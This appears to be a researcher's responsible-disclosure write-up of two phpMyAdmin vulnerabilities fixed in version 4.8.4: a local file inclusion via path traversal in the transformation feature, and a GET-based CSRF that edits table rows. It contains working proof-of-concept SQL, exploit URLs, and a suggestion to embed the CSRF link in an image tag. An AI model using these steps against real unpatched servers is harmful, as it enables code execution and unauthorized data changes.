During an assignment, I found several serious vulnerabilities in phpMyAdmin, which is an application massively used to manage MariaDB and MySQL databases.Β One of them potentially leads to arbitrary code execution by exploiting a Local file inclusion, while the other is a CSRF allowing any table entry to be edited.
1. Local File INCLUSION in transformation feature
The transformation feature from PHPMyAdmin allows to have a specific display for some columns when selecting them from a table. For example, it can transform links in text format to clickable links when rendering them.
Those transformations are defined in PHPMyAdminβs βcolumn_infoβ system table, which usually resides in the phpmyadmin database. However, every database can ship its own version of phpmyadmin system tables. For creating phpmyadmin system tables for a specific database, the following call can be used: http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=*yourdb*.
It will create a set of pma__* tables into your database.
Here is an example of how the transformation is applied, from tbl_replace.php:
<?php
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
include_once $filename;
$classname = Transformations::getClassName($filename);
/** @var IOTransformationsPlugin $transformation_plugin */
$transformation_plugin = new $classname();
$transformation_options = Transformations::getOptions(
$mime_map[$column_name]['input_transformation_options']
);
$current_value = $transformation_plugin->applyTransformation(
$current_value, $transformation_options
);
// check if transformation was successful or not
// and accordingly set error messages & insert_fail
if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
$insert_fail = true;
$row_skipped = true;
$insert_errors[] = sprintf(
__('Row: %1$s, Column: %2$s, Error: %3$s'),
$rownumber, $column_name,
$transformation_plugin->getError()
);
}
}
}
The transformation is fetched from the βpma__column_infoβ system table in the current database, or from the βphpmyadminβ database instead. The βinput_transformationβ column is used as a filename to include, and is vulnerable to a path traversal that leads to a local file inclusion.
Here is a PoC to exploit this vulnerability:
- Create a new database βfooβ with a random βbarβ table containing a βbazβ column, with a data containing PHP code in it (to fill the session with some php code):
CREATE DATABASE foo;
Β CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
Β INSERT INTO foo.bar SELECT '<?php phpinfo() ?>';
- Create phpmyadmin system tables in your db by calling http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=foo
- Fill the transformation information with the path traversal in the βpma__column_infoβ table:
INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
Β 'plop', 'plop', 'plop',
Β '[path_traversal]/var/lib/php/sessions/sess_{yourSessionId}','plop';
- Browsing toΒ http://phpmyadmin/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 will trigger the phpinfo(); call.
Β
2. CSRF for updating data in table
This vulnerability is pretty easy to understand. A simple GET request can be used to update data in a table. Here is an example :
http://phpmyadmin/tbl_replace.php?db=*yourDB*&table=*yourTable*&fields_name[multi_edit][0][0]=*fieldToEdit*&fields[multi_edit][0][0]=*fieldNewValue*&clause_is_unique=1&where_clause=*whereClause*
A malicious user could force a logged-in user to update arbitrary tables in arbitrary DBs. This can also be used in a simple <img> element on forums or elsewhere, as the request is a simple GET one.
Β
These vulnerabilities are both important. We responsibly disclosed them and theyΒ were patched on the newly released phpMyAdmin 4.8.4.
Β
Timeline :
- 2018.06.21 β Initial contact with phpMyAdmin security team.
- 2018.06.24 β Initial response that the team will investigate.
- 2018.08.02 β Request for news.
- 2018.08.28 β Re-request for news.
- 2018.08.31 β Response from phpMyAdmin team that theyβre still in the process of fixing things.
- 2018.11.01 β Request for news.
- 2018.12.07 β Apologies from phpMyAdmin + explanation that a lot of code rewrite was necessary for multiple CSRF flaws.
- 2018.12.11 β New version released with patch.
Update your things! 